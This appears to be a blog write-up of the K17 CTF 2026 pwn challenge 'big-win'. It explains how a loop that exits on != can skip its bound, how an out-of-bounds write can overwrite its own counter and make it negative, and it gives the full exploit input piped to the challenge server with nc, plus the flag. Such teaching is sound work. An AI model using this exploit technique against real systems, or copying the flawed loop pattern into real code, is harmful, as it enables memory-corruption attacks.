home / ctf / k17

big-win

A loop that exits on != and can increment twice per pass never terminates, and its own counter is reachable through the array it bounds.

2026.09.19 K17 CTF 2026 Pwn
FLAG K17{maybe_the_true_reward_is_the_stacks_we_pwned_along_the_way}
nc chal.secso.cc 4001

If you’re stuck on this one: the first thing worth checking is not “can I overflow numbers[] into win” — the struct layout makes that structurally impossible going forward. The question that actually opens this challenge is “how can the loop’s exit condition be skipped entirely,” because once it can, the direction you’re writing in stops being fixed.

The challenge

#define SLOTS 7
struct gambler { int win; int numbers[SLOTS]; };

void challenge(void) {
    struct gambler noob;
    noob.win = 0x67;
    int i = 0, accum = 0;

    while (i != SLOTS) {
        printf("number> ");
        scanf("%d", &noob.numbers[i]);
        accum += noob.numbers[i];

        if (accum == 67) {
            puts("thats a naughty naughty number, one less chance to win");
            i++;                   // <-- bonus increment
        }
        SNAPSHOT();
        i++;
    }

    if (noob.win == 0x67) { puts("rip..."); return; }
    win();                          // prints /flag
}

You win by making noob.win anything other than 0x67. win sits before numbers in the struct, so indices 0..6 can never reach it through a forward overflow.

Bug 1 — skipping the loop’s exit condition

The loop terminates on i != SLOTS — an equality check, not i < SLOTS. When accum == 67, that iteration increments i twice: once for the “naughty number” bonus, once for the loop’s normal step. i goes 6 → 8, skipping 7 entirely. Because the exit condition only tests for equality, and i will never again equal exactly 7 once it has skipped past it, the loop cannot terminate through this path — numbers[i] keeps writing upward, past the end of the struct, for as long as input continues.

Stack layout

The challenge ships a SNAPSHOT() helper (an int3 that dumps the stack frame). Feeding it 1..7:

rbp-48: 0x0000000100000067   <-- rsp    win=0x67 | numbers[0]=1
rbp-40: 0x0000000300000002             numbers[1] | numbers[2]
rbp-32: 0x0000000500000004             numbers[3] | numbers[4]
rbp-24: 0x0000000700000006             numbers[5] | numbers[6]
rbp-16: 0x0000000000403df0             (padding / leftovers)
rbp-08: 0x000000060000001c             accum=0x1c(28) | i=6
rbp+00: 0x00007ffe24511410   <-- rbp

numbers[0] sits at rbp-44, so numbers[k] is rbp-44+4k for any integer k, positive or negative:

targetaddressindex
noob.winrbp-48-1
numbers[0..6]rbp-44 .. rbp-240-6
upper paddingrbp-128
accumrbp-089
irbp-0410
saved rbprbp+0011, 12
return addressrbp+0813, 14

Bug 2 — overwriting the loop counter itself

i lives at numbers[10] — the loop’s own index variable is writable through the very index it controls. The obvious next move is to walk i up to index 13 and overwrite the return address with win().

That path is a dead end, and understanding why is important: i can only be steered while it is currently sitting at index 10 — that is the one moment a new value for it can be chosen. Once it is advanced to 13 to write the return address, there is no way to bring it back down to 10, and the loop’s exit condition (i != SLOTS) can never fire again from there. The function never returns. A return address that has been written but that control flow never actually reaches through a ret is not useful.

The working approach instead uses the fact that i is a signed int and can go negative. Writing i = -2 makes the loop’s trailing i++ land on -1 — and index -1 is, per the table above, noob.win. From -1, the counter then advances normally: 0, 1, … 6, 7, and the loop exits through its own ordinary exit condition, having visited win as part of that walk.

Exploit

printf '0\n0\n0\n0\n0\n0\n67\n1\n1\n-2\n1\n0\n0\n0\n0\n0\n0\n0\n' | nc chal.secso.cc 4001
stepiinputeffect
10-50keep accum at 0, avoid triggering the bonus early
2667accum == 67 → bonus increment → i jumps to 8
381padding slot; accum = 68 (must stay off 67)
491writes into accum directly; the following accum += accum doubles it to 2
510-2overwrite i → after the trailing i++, i = -1
6-11noob.win = 1 != 0x67
70-60burn the remaining slots while avoiding 67; i reaches 7 and the loop exits

Two details worth checking carefully when building this:

  • In step 4, the write target is accum itself, so writing 1 immediately triggers accum += accum, doubling it to 2. 67 is odd, so this step cannot accidentally land on 67 regardless of the value chosen.
  • In step 5, accum += noob.numbers[i] re-reads i after it has already been set to -2, so it adds whatever value happens to occupy numbers[-2] (rbp-52, outside the struct’s own frame). If that value pushed accum to exactly 67 on that step, the bonus increment would fire again, i would end up 0 instead of -1, and the exploit would fail. This did not occur in testing, but it is the one part of this exploit that depends on uncontrolled stack contents rather than fully-determined values, and is worth being aware of if the exploit becomes unreliable in a different environment.
spinning the lotto of fate, lets see if you win...
wtf you win???
K17{maybe_the_true_reward_is_the_stacks_we_pwned_along_the_way}

Takeaways

  • A loop guarded by != whose counter can advance by more than one per iteration is not equivalent to a bounds check. < would have closed this off.
  • When the variable used as an array’s index is itself stored behind the buffer it indexes, an out-of-bounds write through that index opens in both directions. The loop counter is sometimes a more useful target than the return address, particularly when overwriting the return address would strand execution in a state the program can never actually return from.
#stack#off-by-one#loop-counter